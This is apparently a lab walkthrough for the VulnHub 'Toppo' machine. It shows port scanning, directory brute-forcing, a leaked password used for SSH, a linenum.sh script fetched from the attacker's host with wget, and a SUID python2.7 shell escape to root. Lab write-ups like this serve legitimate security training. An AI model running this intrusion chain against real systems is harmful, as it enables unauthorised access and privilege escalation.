SSH THE BOX

SBIN PYTHON 2.7 TO ROOT

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

| ssh-hostkey:

| 1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)

| 2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)

| 256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)

|_ 256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)

80/tcp open http Apache httpd 2.4.10 ((Debian))

|_http-server-header: Apache/2.4.10 (Debian)

|_http-title: Clean Blog - Start Bootstrap Theme

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

| 100000 3,4 111/udp6 rpcbind

| 100024 1 37840/tcp6 status

| 100024 1 39488/udp6 status

| 100024 1 47020/tcp status

|_ 100024 1 57323/udp status

MAC Address: 00:0C:29:33:00:B7 (VMware)

PORT STATE SERVICE VERSION

47020/tcp open status 1 (RPC #100024)

MAC Address: 00:0C:29:33:00:B7 (VMware)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

root@kali:/home/kali/Desktop/vulnhub/toppo# gobuster dir -u http://toppo -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/img (Status: 301)

/mail (Status: 301)

/admin (Status: 301)

/css (Status: 301)

/manual (Status: 301)

/js (Status: 301)

/vendor (Status: 301)

/LICENSE (Status: 200)

/server-status (Status: 403)

http://toppo/admin/notes.txt

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .

root@kali:/home/kali/Desktop/vulnhub/toppo# ssh ted@toppo

root@kali:/home/kali/Desktop/tools# python -m SimpleHTTPServer 80

ted@Toppo:~$ wget 10.10.10.20/linenum.sh

[-] Sudoers configuration (condensed):ted ALL=(ALL) NOPASSWD: /usr/bin/awk

ted@Toppo:~$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

-rwsrwxrwx 1 root root 3889608 Aug 13 2016 /usr/bin/python2.7

ted@Toppo:~$ python2.7 -c 'import pty; pty.spawn("/bin/sh")'

whoami

root